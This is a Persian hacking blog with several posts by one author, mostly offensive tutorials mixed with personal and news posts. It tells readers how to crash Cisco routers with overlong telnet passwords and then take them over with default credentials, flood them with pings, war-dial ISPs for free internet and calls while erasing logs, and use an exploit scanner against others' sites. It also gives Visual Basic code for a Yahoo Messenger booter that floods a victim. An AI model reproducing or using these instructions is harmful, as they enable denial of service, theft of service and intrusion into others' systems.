براي اين كار ازping و telnet استفاده مي كنيم . زماني كه از دستورping استفاده مي كنيم اگر روتر را ping كرد مي شود گفت كه روي روتر فايروال نيست و زماني كه از دستور telnet استفاده مي كنيم اگر فقط از ماه پسورد خواست مي توان گفت كه ما در روتر هستيم (اينم از اين)

روش نفوذ ؟

روترهاي سيسكو كه از برنامه ي v 4.1 استفاده مي كنند به راحتي reboot مي شوند يه اين طريق كه به ايپي روتر تلنت كرده و يك مقدار بسيار طولاني پسورد را به جاي پسورد وارد مي كنيم مثل:

10293847465qphwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeiruty

alskdjfhgzmxhgjhcbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019d

sk1029hhhfghj3847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qp

woeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv

019dsk10293847hj65qpwoeirutyalskdjfhgzmxncbv019dsk1029xncbv019dsk

روتر سيسكو در اين حالت احتمالاً reboot خواهد شد . حالا شما مي توانيد آن را هك كنيد ، چون در اين حالت offline است كه شايد بعد از 2 تا 10 دقيقه دوباره بالا بيايد .هنگامي كه روتر ريست شد تمامي يوز و پسورد هاي آن به حالتdefault بر مي گردد كه مثلاً يوز و پسوردadmin و admin يك يوزر و پسورد default است كه با اين يوزر و پسورد مي توانيد وارد روتر شويد و تماميconfig هاي آن را دستكاري كنيد ولي اگر ريبوت نشد با يك حمله شديد

Ddos مثل دستور زير مي توانيد آن را ريبوت كنيد :

Ping -l 56550 cisco.router.ip -t

نوشته شده توسط امین security در

لينك مطلب

روتر چیست و چگونه هک میشود ؟ ( )

سلام بحث امروز ما درباره روترهاست

چیزی که میشه گفت در همه ISP ها وجود دارد و اگر بتونید او رو هک کنید تمام ISP دود میشه چون این مبحث زیاده من اینو تو ۲ یا سه قسمت توضیح میدم

خب میریم سر اصل مطلب :

Router چیه ؟
رو به دو دسته تقسیم میکنن :

روتر های سخت افزاری: ( که یک دستگا ه صرفآ برای ما کار routing رو انجام میده , و برای کارش هیچ احتیاجی به یه کامپیوتر نداره , بلکه خودش درست مثل یک کامپیوتر Ram,CPU,System-Board,Slot,… داره و البته سیستم عامل مخصوص به خود که به اسم IOS هم اون رو میشناسن . یه روتر سخت افزاری درست مثل یه کامپیوتر محل های برای اضافه کردن کارت های جانبی و ... رو داره .

روترهای نرم افزاری : ( که در واقع بک روترسخت افزاری شبیه-سازی شده هستن .ازنظر کارکردی عملآ کار یک روتر نرم افزاری رو میکنن ولی خیلی مزایا و کارها هست که فقط توسط یک روتر واقعی ( سخت-افزاری) قابل انجام هست ... . روترهای نرم افزاری رو همون سیستم عامل ها شبیه سازی میکنن . و در واقع میشه گفت که یک سیستم عامل رو (توسط امکاناتی که خودش بما داده , مثلآ Routing and Remote access در ویندوزهای سرور مایکروسافت . ) جوری تنظیم میکنن که کار یک روتر رو برای ما انجام بده . در یک سیستم عامل وثل ویندوز 2000 سرور , این کار به راحتی نصب 2 عدد کارت شبکه و راه-اندازی یک سرویس هست ! ولی در سیستم عاملی مثل یونیکس/لینوکس با کمی دردسر بیشتر هم همراه خواهد بود . J

کار یک Router چیه ؟
روترها همونطور که از اسمشون پیداست (Router=مسیر یاب ) کارشون مسیر یابی برای بسته ها (Packet)ی اطلاعات در شبکه هست . روتر میگرده و بطور مثال کوتاه ترین مسیر رو برای رسیدن این متن از سرور ما به کامپیوتر شما , کوتاه ترین مسیر رو از بین هزاران-هزار کامپیوتر متصل به اینترنت پیدا میکنه . البته این کار به این سادگی که شنیدین نیست و بر عکس یک کر پیچیده هست که فقط روتر ها اون کار رو بلدن , به کسی هم یادش نمیدن. J یه روتر همچنین میتونه دو شبکه مجزا رو که هر کدوم nodeهای خودشون دارن رو به هم وصل کنه .
یه روتر همچین میتونه مثلآ بصورت به Access Server عمل کنه . این اکسس سرور دقیقآ همون چیزی هست که شما وقتی شماره ISP رو میگیرید , ارتباط شما رو با سرور اونجا برقرار میکنه . IP هم که شما بعنوان Server-IP و یا Default-Gateway در گزارش IPConfig می بینید , در واقع IP همون Access Servere که یه روتر هست که به اون ابزاری ( کارت جانبی) اضافه کردن که کنترل و مدیریت مودم ها رو به عهده داره .
البته حتمآ میدونید که , این اکسس سرور نیست که به شما ip میده یا شما رو تغذیه میکنه ... .
البته این ها تنها کارهایی نیستن که یه روتر میکنه, بلکه کارهای بسیار زیاد و قابلیتهای مفید دیگری هم هستن که خارج از حوصله این متنه ... .

Router دستور کار خودش رو از کجا تهیه میکنه ؟
خوب ... . وقتی یه مدیر شبکه میخواد یه کاربر برای سرورش تعریف کنه, کامیوتری رو به شبکه اش اضاف کنه با مثلآ یه میل-سرور راه اندازی کنه , خیلی راحت میشینه پشت سرورش ( فرض میکنیم Win2000 AS) و بکمک Active-Directory service کابر جدید و کامپیوتر جدید رو به دامین (Domain) اضافه میکنه , و با نسب Exchange server میل سرورش رو هم راه میندازه .

ولی یه روتر که هیچکدام از این چیرها رو نداره... !!!! L نهایت لطفی که ممکنه جناب روتر بما کنه اینه که IOS prompt رو در اختیار ما بذاره که اون هم بصورت Text-Base هست , یعنی شما فقط با چیزی شبیه محیط Dos سر و کار دارید . حتمآ با ناراحتی تمام پیش خودتون این فکر رو میکنین که :" لعنتـــــــــی ... باید بشینم همه چی رو دونه دونه و با زیر-رو کردن قسمت های مختلف و زمخت و خشک ISO , وارد کنم ... " .

خوب این هم روشی هست واسه خودش . ولی احمقانه ترین کاری هست که یه admin ممکه انجام بده !!!

این کار مثل این میمونه که بشینی تموم تنظیمات active-directory رو از طریق ابزارهای اغلب تحت داسmicrosoft active-directory support tools انجام بدی , اون هم از روی همون سرور !!!!!!!!!!

ولی خوشبختانه راه دیگری هم هست که اون , همونStartup-Config روتر ماست .

این startup-config فایلی هست که برای یک روتر , دقیقآ همانند یک Command.com/Autoexec.bat/Config.sys برای سیستم عامل داس عمل میکنه . البته اضافه کردن command.com به لیست این مثال بنا به دلایلی درست نیست , ولی به همون دلایل هم (بعدآ خواهید دونست چرا ... ) میشه این رو حساب کرد . بگزریم .... .

قسمت دوم انشاالله پس فردا!!!!!!!

نوشته شده توسط امین security در

لينك مطلب

شکنجه وحشیانه دانشجوی ایرانی در دانشگاه UCLA آمریکا ( )

سلام

ببخشید که باز هم این پستم هکری نیست

اما غیرت ایرانیم نذاشت از این موضوع به راحتی بگذرم

این خبر را در برنامه T.G.I.F در شبکه جهانی فارسی زبان تپش به طور کانل پخش شد

با هاتون شرط میبندم اگه فیلم این واقعه را میدیدید گریتون در میومد

شکنجه جوان دانشجوی ایرانی ( ۶ بار شوک الکتریکی دادند )

من این مطلب رو از سایت ژرف کپی پیست کردم

امروز این خبر تکان دهنده استفاده شوک الکتریکی توسط پلیس دانشگاه UCLA برعلیه یک دانشجو (که ایرانی-آمریکایی هم هست) را دیدم. ویدیو اش تکاندهنده‌ است. اینکه یک آدم بی‌دفاع را که تنها جرمش این است که فراموش کرده کارت دانشجوییش را برای رفتن به کتابخانه در آخر شب بهمراه داشته‌باشد اینطور باهاش برخورد بشود واقعا تکان‌دهنده است. البته بهتر بود که در مقابل دستور پلیس مقاومت نمی‌کرد ولی این دلیل نمی‌شود که پلیس از شوک الکتریکی بر علیه طرف استفاده کند.

دیدن ویدیوی این واقعه مخصوصا همه دانشجویانی که در ویدیو در کنار ایستاده بودند و کار پلیس را با نفرت تماشا می‌کردند، یک فلش‌بک یک حادثه یازده‌ سال پیش را جلوی چشمم آورد. وقتی که دکتر سروش قرار بود در دانشگاه امیرکبیر سخنرانی بدهد و انصار حزب‌الله تهدید کرده‌بود که جلویش را خواهند گرفت. تعداد زیادی از دانشگاههای مختلف از شب پیش به دانشگاه امیرکبیر رفتند که با دفاع از آزادی بیان جلوی انصار را بگیرند. من کنجکاو هم فردا صبحش رفتم ببینم چه خبر است. دروازه دانشگاه توسط یک ردیف پلیس ضدشورش بسته‌شده بود و تمام دانشجوها در داخل زندانی شده‌بودند و هر از گاهی شعار می‌دادند. بیرون ردیف پلیسی که دم در دانشگاه بود انصار با وانت هایشان و بلندگو در خیابان حافظ بودند و شعار می‌دادند. در انتها هم کلی تماشاچی که اکثرا دانشجویانی مثل من بودند که از سر کنجکاوی و تا حدی هم همدلی با دانشجویان داخل دانشگاه آنجا رفته بودند. حدود یک ساعتی انصاریها شعار دادند. فکر کنم الله‌کرم هم سخنرانی کرد و سروش را به لیبرال بودن متهم کرد. این ماجرا قبل از آمدن خاتمی بود و الله کرم هنوز فرد آنقدر معروفی نبود برای همین خوب یادم نیست که او بود یا ده‌نمکی.

شباهت قضیه به ماجرای امروز اینجایش بود که یک دانشجوی شریف(عضو سابق انجمن اسلامی آنزمان) در کمال ناباوری همه ما نظاره‌گران به سراغ بلندگو بدست انصار رفت و از او خواست که حالا که آنها یک ساعت از پشت بلندگو هر چیزی خواسته‌اند گفته‌اند چند دقیقه هم بگذارد که او صحبت بکند. طرف انصاری هم گفت بلندگو می‌خواهی؟ بیا بگیرش و یک مشت مستقیم حواله کرد به صورت دانشجو. بعدش هم دانشجو را حلقه کردند و شروع کردن با مشت و لگد زدنش. بعضی‌هایشان زنجیرهم داشتند ولی نمی‌دانم که آیا با زنجیرهم می‌زدند یا نه. دانشجوی شریف کاملا بی‌دفاع یکی دو دقیقه‌ای از هفت هشت نفری که دورش بودند کتک می‌خورد. بلندگوچی هم مدام در بلندگو می‌گفت: «حزب‌الله درگیر نمی‌شه..حزب‌الله درگیر نمی‌شه...»

یادم نمی‌رود که صحنه آنقدر منزجرکننده بود که ما تماشاگرها با اینکه برای دردسر افتادن نیامده بودیم قدم به طرف انصار حزب‌اللهی‌ها برداشتیم تا طوری این فرد را نجات بدهیم. نیروی انتظامی هم تا دید ممکن است بدجور شلوغ بشود سرانجام باتون بدست ریخت و ملت را پراکنده کرد و دانشجوی شریف را دستگیر کرد. من و بقیه تماشاگران هم سریع زدیم به چاک. ظاهرا آنروز نیروی انتظامی چند نفری از دانشجوها را دستگیر کرد و بیشتر مورد ملاطفت قرارشان داد. اگر شما هم در آن ماجرا بودید در نظرات جزییات بیشتری بنویسید. چون یکی از وقایع مهم آن سالهای قبل دوم خرداد بود.

در مورد دانشجوی UCLA هم اگر در آمریکا هستید خوب است به Chancelor office
زنگ بزنید. شماره‌اش هست 3108252151 . من خودم زنگ زدم و گفتم که خواستار واکنش سریع دانشگاه در قبال این مساله هستم. ذهن خودتان را با اینکه ممکن است دانشجوی ایرانی هم مقصر بوده باشد مشغول نکنید. پلیس غلط کرده که شوک الکتریکی برعلیه یک دانشجو که تهدید برای کسی نیست استفاده می‌کند.

پ.ن.قدرت YouTube را هم دریابید. در عرض یک نصفه روز همه این را دیدند. بدون ویدیو اصلا این خبر اینقدر پوشش پیدا نمی‌کرد. برای همین من بر این باورم که YouTube بهترین خریدی بوده که گوگل تاحالا کرده‌است. قیمت ۱.۶ میلیارد دلار را هم کاملا ارزشش را داشت.

آیا اگر شما جیغ های از ته دل این جوان دانشجوی ایرانی را که با هر بار شک الکتریکی دادن به هوا بر میخاست رو میشنیدید ساکت میمانید

و یا وقتی که آن پلیس آمریکایی با هر بار شک دادن به مصطفی سرش داد میزدند پاشو و مصطفی نمیتونست پاشه و دوباره یه تعداد ۶ بار شوک الکتریکی بهش میزدند شما ساکت میمونید

شوک الکتریکی را اگه به کسی بزنند اون شخص نمیتونه تا ۱۵ دقیقه تکون بخوره اما اون نامردا به اون میگفتند پاشو و دوباره به اون شوک میزدند

فقط به خاطر اینکه یادش رفته بود کارن کتابخانه دانشگاهشون رو با خودش بیاره

و اون در حین شکنجه میگفت که من ناراحتیه جسمی دارم

و اون در حین شکنجه فریاد میزد که به خاطر اینکه رنگ موهای من سیاه و رنگ پوست من سبزست من رو شکنجه میدید

و هر چه هم دانشگاهیان او میخاستند که کمکش کنند موفق نمیشدند

من یه چند تا ایمیل دارم برای طرح شکایت که بعدا همشون رو میزارم و فقط لازمه یک جمله در این ایمیل ها بنویسید که بعدا ۱۰۰٪ میگم

و خواهش میکنم حتما پیگیری کنید چون که چند نهاد ایرانی و خارجی برخاستند و فقط منتظر ایمیل ها و امظاهای الکترونیکی شما شما عزیزان هستند

نوشته شده توسط امین security در

لينك مطلب

آهنگ های رپ ( )

سلام به همگی

خسته شدم از بس هک یاد دادم امروز میخوام برای تنوع چند تا آهنگ رپ براتو بزارم

خیلی با حالن من توصیه میکنم همشون رو دانلود کنید

این یکی از ابلیسه

این هم از حسام استپ

از بچه های اهواز

و باز هم ابلیس

چند تا دیگه هم دارم که بعدا میزارم ( ۲ تا دیگه )

نوشته شده توسط امین security در

لينك مطلب

وصل شدن به اینترنت بدون یوزر و پس و فقط با داشتن یه شماره تلفن از ISP که هک کردید ( )

این بحث در مقوله ی هک کردن ای اس پی گنجانده می شود که ما برای این کار به یک برنامه به نام THC-Scan 2.0 احتیاج داریم که می توانید آن را از:

www.thc.infreno.tusculum.edu

دریافت کنید همچنین باید به سایت Network Solution رفته و در بالای صفحه به دنبال گزینه ی Who is بگردید و بعد از پیدا کردن آن بر روی لینک آن کلیک کنید و در بخش Domain یا در قسمت Site Name اسم سایت مورد نظر را خود را که همان سایت ای اس پی مورد نظر خود است را بنویسید و سپس Search کرده و در صفحه ی باز شده شماره تلفن هایی را که نمایش داده است را یادداشت کرده و به کمک نرم افزار THC-Scan 2.0 ای اس پی خود را مورد پویش قرار دهید

اگر به این شکل نتوانستید شماره تلفنی پیدا کنید می توانید به 118 تلفن کرده و از آن شماره های اداری ای اس پی خود را بگیرید و یادتان باشد که این شماره با شمار های اتصال به شبکه فرق می کند

حالا می چگونه می توانیم با نرم افزار فوق این کار را کنیم؟

بعد از اجرا کردن برنامه شماره تلفن را به آن داده و آن شروع به سرچ می کند و پس از اتمام سرچ دوباره شماره تلفن هایی را به شما می دهد که این شماره ها همان شماره هایی هستند که می توانید با زنگ زدن به آن ها((که آموزشش را الان می دهم))به صورت رایگان به اینترنت وصل شده و یا رایگان به جایی زنگ بزنید

1.برای تلفن به خارج یا تلفن زدن رایگان به وسیله ی آن شماره تلفن ها این کارها را انجام دهید:

با تلفن معمولی یا به وسیله ی Hyper Terminal در قسمت Start-->All Programs-->Accessories-->Communication-->Hyper Terminal به آن شماره ها زنگ زده و به صورت رایگان به هر جایی تلفن بزنید

2.برای وصل شدن به اینترنت به صورت رایگان این کارها را انجام دهید:

در بخش Connection و یا همان صفحه ای که به روش Dial-up به اینترنت وصل می شوید دو قسمت Username و password را خالی گذاشته و شماره ی پیدا شده را در قسمت Dial بنویسید و بعد به صورت رایگان به اینترنت وصل شوید

دوستان عزیز یادتان باشد حتما قبل از شروع این کار اطلاعات کاملی در مورد نحوه ی حفاطت ئ امنیت ؟آی اس پی مورد نظر خود پیدا کنید چون اگر محافظت از ای اس پی بالا باشد و شما هم مثلا به طور شانسی توانستید این کار را بکنید هنگامی که شما به آن شماره ها زنگ می زنید شماره ی شم در حافظه ی آن ای اس پی ثبت می شود و اگر آن ها شماره ی شما را پیدا کنند به راحتی می توانند علیه شما شکایت کنند البته گفتم اگر حفاظت از آن ای اس پی پایین بود می توانید یک دور کامل به ای اس پی نفوذ کرده و شماره ی خود را از حافظه ی آن پاک کنید و اگر حرفه ای هستید این کار را بکنبد و گرنه هر مشکلی که برایتان پیش آمد من هیچ مسولیتی ندارم.

به زودی آموزش کار کردن با THC-scan رو میزارم آخه کار کردن با او یکمی سخته

یه آموزش خفن دیگه هم دادم که در ادامه مطلب بخونیدش

آموزش آپ کردن فایل سرور بر روی سیستم قربانی به صورت کاملا حرفه ای

ادامه ی مطلب ...

نوشته شده توسط امین security در

لينك مطلب

امنیت وبلاگ ( )

سلام به بازديد كنندگان محترم.اموز قصد دارم ترفندهايی به شما ياد بدهم كه 90 درصد از هك شدن وبلاگ های شما جلوگيری ميكند.و 10 درصد باقی می ماندكه هكربايد حرفه ای باشد كه در ايران هكر حرفه ای كم پيدا ميشود.
1-در زمان ثبت نام وبلاگ جديد در قسمت ثبت ايميل يك ايميلی تايپ كنيد كه وجود نداشته باشد.مثلا به اين صورت:
-------------------------------
welcome_2_hell_hack@amin-hacker.khorramshahr بله به اين صورت كه بنويسيد پسورد شما به هيج كجا فرستاده نميشود.وخيال شما از هك ايميل راحت ميشود.واگر اين كار را نكرديد هم اكنون به كنترل پنل خود در قسمت تنظيمات وبلاگ خود برويد ودست به كار شويد.واگر اين كار را كرديد بايد پسورد خود را حفظ يا در جای امن نگهداری كنيد واگر نه خود شما هم با مشكل مواجه ميشويد.
-------------------------------
2-برای وبلاگ خود يك نام كاربری درست كنيد ودر منزل يا كافی نت يا در مكان های عمومی با پسورد ونام كاربری مطلب پست كنيد.چون اگر فردی در همان زمان با برنامه های اسنيف كار كند يا تروجان ويا كيلاگری برروی كامپيوتر نصب باشد اطالاعات شما برای آن فرد برود آن فرد اطلاعات كاربری شما را بدست آورده وكاری نمی تواند بكند وفقط ميتواند مطلب پست كند كه شما ميتوانيد برويد مطلب را پاك كنيد و پسورد را عوض كنيد.
-------------------------------
3-UsernameوPassword وبلاگ های خود را كد شده كنيد.تا برای هكر اين گونه پسورد ها به سختی وتلاش زياد خوانده شود.برای كد دار كردن يا بايد از برنامه استفاده كنيد ويا بايد از يك ترفند كه با استفاده از Alt وماشين حساب كيبرد است استفاده كنيد.يعنی دكمه Alt رانگه داريد و تركيبی از عددهای قسمت ماشين حساب كيبرد را فشار دهيد.

نوشته شده توسط امین security در

لينك مطلب

فرستادن اس ام اس با نرم افزار 100% عملی ( )

چه جوري ميشه يه توروجان تو سايتت آپولود كني ( )

تبلیغ وبلاگ خود در یاهو مسنجر به طور رایگان ( )

براي اين کار ابتدا رجيستري را باز مي کنيم و در آن به دنبال کليد :

Hkey_Current_User - Software - Yahoo - Pager - yurl

مي گرديم. پس از آن در پنجره اي که در سمت راست باز مي شود دو کليد از نوع رشته اي با نام هاي Chat Adurl و Conf Adurl مي سازيم (براي ساختن کليد هاي رشته اي در منوي Edit روي قسمت New کليک کرده و از منوي باز شده گزينه String Value را بر مي گزينيم ) پس از آنکه هر دو را ساختيم تک تک روي هر کدام دوبار کليک مي کنيم. در پنجره ای که باز میشود آدرس لوگوی خود را می دهیم (لینک آن را) برای این کا به این سایت مراجعه کنیدhttp://tinypic.com/ و عکس مورد نظرتان را آپلود کنید.
حالا کلید ok را میزنیمو سیستم را RESET را میزنیم تا سیستم RESET شود .حالا به روم رفته و مشاهده می کنیم که به جای تبلیغ پایین روم عکس لوگوی ما آمده است.
با تشکر از شما!!!

یه مطلب دیگه: چگونه یک بوتر بسازیم

این جانب نویسنده این مقاله هیچ مسئولیتی در قبال استفاده شما از مطالب این مقاله را بر عهده نمی گیرم زیرا این مقاله فقط جنبه آموزشی دارد و در صورتی که با این موضوع موافق نیستید از خواندن ادامه این مقاله پرهیز کنید . شاید تا بحال اتفاق افتاده که بعد از کلی گشتن به دنبال یک برنامه بوت خوب به این فکر کنید که اگه میتونستید خودتون یه بوتر بسازید بهترین بوتر رو می ساختید . حالا من می خواهم بهتون کمک کنم که این آرزو به واقعیت بپیوندد البته من فقط راه رو نشونتون میدم اگه میخواهید تو این راه از بقیه جلو تر باشید خودتون باید تلاش کنید . اگه یکم تلاش کنید حتی میتونید یک ربات پاسخ گو برای یاهو بنویسید .خوب واسه شروع لازمه که ویژوال بیسیک 6 رو رو سیستم خودتون نصب کنید حالا اون رو اجرا کنید و یه فرم جدید باز کنیدخوب بعد از این کار لازمه که چند تا کنترل هم به فرمتون اضافه کنید که به شرح زیر می باشد :3 تا تکست باکس به نام username و password و victim3 تا کامند باتن به نامهای connect و disconnect و boot1 لیبل به نام status که خاصیت Caption اون رو به Disconnect تغیر دهیدالبته در شکل یه سری کنترل های دیگه ای هم وجود داره که انتخوابی هستش و هرجوری که دوست دارید میتونید اونا رو ایجاد و نامگزاری کنیدیک کنترل وینساک به نام winsock1توجه نمائید برای اضافه کردن این کنترل به نوار ابزار ابتدا دکمه کنترل را به همراه دکمه T به طور همزمان فشار دهید بعد یه پنجره باز میشه که باید دنبال عبارت میکروسافت وینساک 6 بگردینخوب حالا میریم سر اصل مطلب . شما برای ایجاد بوتر نیاز به 2 تا ماژول هم دارید که اون رو میتونید ازاینجا دانلود کنید بعد باید این ماژول ها رو به پروژه خود اضافه کنید واسه همین کار از منوی ویو پروجکت اکسپلورر رو انتخواب کنید Tools -> Project Explorerحالا از پنجره سمت چپ روی نام پروژه کلیک و سپس از منوی Add عبارت ماژول Module رو انتخواب نمائیدخوب حالا یه پنجره باز میشه که دارای 2 تا تب tab هستش و شما باید تب Existing رو انتخواب و ماژول ها رو انتخواب نمائیچون امکان انتخواب همزمان 2 تا ماژول نیست طبیعی که 2 بار باید این کار رو انجام بدینحالا بریم سر اصل مطلب . روی command1 کلیک کنید و کد زیر رو وارد نمائیدWinsock1.CloseWinsock1.Connect "scs.msg.yahoo.com", 5050با این کد با فشرده شدن دکمه اول به آدرس "scs.msg.yahoo.com" ارتباط بر قرار میکنیمحالا باید بریم سروقت کنترل وین ساکروی کنترل وینساک کلیک کنید و در قسمت بالا سمت راست عبارت Connect رو انتخواب نمائیدسپس کد زیر را اضافه نمائیدstatus.Caption = "Connecting "Winsock1.SendData Get_Key(username.text)حالا همون بالا سمت راست عبارت Data Arrival رو انتخواب نمائید و کد زیر را وارد نمائیدDim Data As String, ChallengeString As StringWinsock1.GetData DataSelect Case Asc(Mid(Data, 12, 1))Case Is = 87ChallengeString = Split(Data, "94À€")(1)ChallengeString = Split(ChallengeString, "À€")(0)getencrstrings username.text,password.text, ChallengeString, Crypt(0), Crypt(1), 1Winsock1.SendData Login(username.text)SessionKey = Mid(Data, 17, 4)Case Is = 84status.Caption = "Wrong Password "Winsock1.CloseCase Is = 85status.Caption = " Connected"End SelectDebug.Print Asc(Mid(Data, 12, 1)) & " - " & Dataحالا دوباره به جای DataArivall عبارت Close رو انتخواب نمائید و کد زیر را وارد نمائیدstatus.Caption = " Disconnected."و در آخر عبارت Error رو انتخواب نمائید و کد زیر را وارد نمائیدWinsock1.closestatus.Caption = "Error Login "خوب حالا وقتی Username و Passworde یک آیدی یاهو رو بنویسید و Command1 رو فشار بدین آیدیتون آن لاین میشه و حالا نوبته بوت کردنه پس بریم سر کد بوت :حالا روی command2 کلیک کنید و کد زیر را وارد نمائیدIf Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If خوب اینم از بوت البته این تابع buzzbomb یکی از حالات بوت هستش و هر نوع بوتی یه تابع جدا هستش که کد خواصی رو داره و من سعی میکنم چند تا از این توابع رو واستون توی ماژول Packets بزارم خودتون دنبالش بگردینحالا کار ما تموم شده و می خواهیم از یاهو Disconnect بشیم . واسه این کار فقط کافیه که روی Command3 کلیک کنیم و کد زیر را وارد نمائیمstatus.Caption = " Disconnected."Winsock1.Closeخوب اینم از این مقاله , فکر می کنم مقاله خوبی باشه برای شروع . یادتون باشه که تنها چیزی که برای پیشرفت مهم هستش پشت کار هستش و شما با یه کم حوصله و پشت کار میتونید به هر جا که می خواهید برسید . فقط در آخر یه توضیح باید بدم اونم اینه که به همراه این ماژولها یه فایل با نام YMSG12ENCRYPT.dll هستش که اونو باید توی پوشه پروژتون یعنی تو همون فولدری که این پروژه رو ذخیره کردین کپی پست کنید و یه نکته هم اینکه تمام این بخشهایی که بالا توضیح دادم مثلا انتخواب DATA Arrival یا Close بعد از انتخواب یه تابع به صورت زیر باز میشه که کدهای هر بخش را باید درون ان تابع قرار دهید مثلا :Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)... محل قرار گرفتن کدها End Sub یاPrivate Sub Winsock1_Close()... محل قرار گرفتن کدها nemidonam ki va koja neveshte bod didam bahale ija copy kardam ba ejaze sahebesh

یه مطلب دیگه: هک از طریق چت بدون ارسال فایل

ادامه مطلب را کلیک کنید

ادامه ی مطلب ...

نوشته شده توسط امین security در

لينك مطلب

آموزش برنامه webcheck ( )

راستش همون طور هم كه قبلا گفته بودم من قصد داشتم كه اصلا اين برنامه رو به شما معرفي نكنم چون بعضي ها جنبه ندارند و با مستي بي حد و مرز با اين برنامه ميپرن به جون سايت هاي مردم .

نمي دونم چرا بعضي ها شعور ندارند ميرن مطالب من رو كپي مي كنند و به نام خودشون ثبت ميكنند.

راستي شايد به خاطر ستم اسرائيلي ها به مردم دنيا يك انجمن تشكيل بدم تا بريم سايتها ي اسرائيلي رو هك كنيم . اين هنوز تو احتمالات ببينم حال ميكنم يا نه به هر حال بريم سر اموزش :

WEBCHK

وقتي برنامه رو از قسمت دانلود وبلاگ دانلود كرديد و وارد برنامه شديد چند قسمت ميبينيد كه همه رو توضيح ميدم. براي اينكه بهتر بفهميد با يك مثال كار رو شروع ميكنم.

فرض مي كنيم يك سايت مثلا www.varzaneh.com رو ميخواهيم SCAN كنيم . براي اينكار وارد قسمت Host مي شيم و ادرس سايت رو وارد ميكنيم . وقتي ادرس رو وارد كرديم . مي ريم سراغ Port كه همه ي شما حتما با اون اشنايي كامل داريد . چون پرت 80 رو به احتمال 99% هميشه باز ميزارن بزاريد 80 باشه.البته ميتونيد از پرت هاي 25 ، 110،78،144 هم استفاده كنيم . حالا هر طور كه عشقتون ميكشه ميتونيد از پرت هايي كه دادم هم استفاده كنيد.

در قسمت or Exploit BUG هم كه يكي از قسمتهاي بسيار بسيار جالب اين برنامه هست نوع باگ رو رو مشخص كنيد . مثلا اگه php هست php.cgi رو انتخاب كنيد يا اگه سايت طرف يك سايتي هست كه مربوط به ارسال ايميل هست از باگ websendmail استفاده كنيد . باز هم ميگم تموم باگ ها و اكسپلوييت ها اين بخش اماده هستند. اين برنامه حدود 55 تا باگ و اكسپلوييت اماده داره كه از مزاياي خوب اون هستش.

از قسمت Exploit Custom ميتونيد اكسپلوييتي رو كه خودتون مايل هستيد رو بزاريد. راستي هفته ي ديگه براتون چند تا اكسپلوييت مي زارم كه بزاريد تو برنامه و كلي با اون سايت هك كنيد .

حالا اگه ميخواهيد از كد اكسپلوييتي كه خودتون به برنامه داديد استفاده كنيد بر روي دكمه ي Custom كليك كنيد . و اگه مي خواهيد از اكسپلوييت هاي اماده ي برنامه استفاده كنيد بر روي دكمه ي From List كليك كنيد . فقط ميمونه قسمت Parameters Exploit كه دست به اون نزيد تا پسورد رو در لابه ي SCAN واقعا شاهكار خودش به شما بده . حالا فقط بر روي دكمه ي GO كليك كنيد .

نوشته شده توسط امین security در

لينك مطلب

برای کامپیوترم اجماعاَ صلوات ( از نوع محمدی ) ( )

سلام به هکرها .. جوجه هکرها .. شاه هکرها .. کرکرها و الی آخر

امروز چند تا از دوستام اومده بودن خونمون بعد من رفتم که براشون شربت بیارم کوفت کنند

( لازم به ذکر است که جدیداً یه ویروس ساخته بودم که اگه اجراش کنی مادر بورد هارد و سی پی یو رو با هم میسوزونه ) البته یکی دیگه قبلا اینو جدا گونه نوشته بود ولی کار نمیکرد که من هم قاطی شون کردم هم درستشون کردم

میخاستم براتون بزارم تو وبلاگم که یکی از دوستام تو کامپیوتر وقتی من نبودم اونو اجرا کرد و بمب

الان هم دارم از کافی نت آپ میکنم

دیگه فر نکنم تا یکی دو ماه بتونم آپ کنم البته سعی میکنم هر چه سریعتر یه سیستم بخرم

شما هم اونا رو نفرین کنید تا بدرد من دچار بشن

نمیتونم هم بیام کافی نت آپ کنم

مگه بابای بیچاره من چه قدر در میاره که بیا بریزم تو کافی نت

از اونهایی که قول برنامه ای چیزی داده بودم شرمنده

تا بعد

نوشته شده توسط امین security در

لينك مطلب

همه رو ( اونایی که تو آرشیو رفتن ) بخونید ( )

هک کردن پسوورد admin ( )

كلا روش هاي زيادي براي پيدا كردن پسورد ادمين ويندوز هاي NT 2K & XP وجود داره اما من ترجيح مي دم از روش كرك SaM پسورد را بدست بيارم متاسفانه بزرگ ترين ضعف امنيتي مايكروسافت در SaM بر مي گرده به Encrypt اين فايل ها
كه با متد 64bit انكريپت و يا بهتره بگم Hash شده و اين به كركرها اجازه رو مي ده كه با يك مقدار دقت حتي بتونه به خوبي هارد ديسك هايي را كه با Format NTFS قالب بندي شده و SaM فايل ها Encode شده اند رو Decode كنند

بر روی ادامه مطلب کلیک کنید

ادامه ی مطلب ...

نوشته شده توسط امین security در

لينك مطلب

مطالب پیشین

کپی برداری از مطالب وبلاگ فقط با ذکر منبع مجاز میباشد .

All Rights Reserved 2005-2006 © by welcome-2-hell-hack.blogfa.com
The Template Designed By Loghman Avand @ www.irlearn.com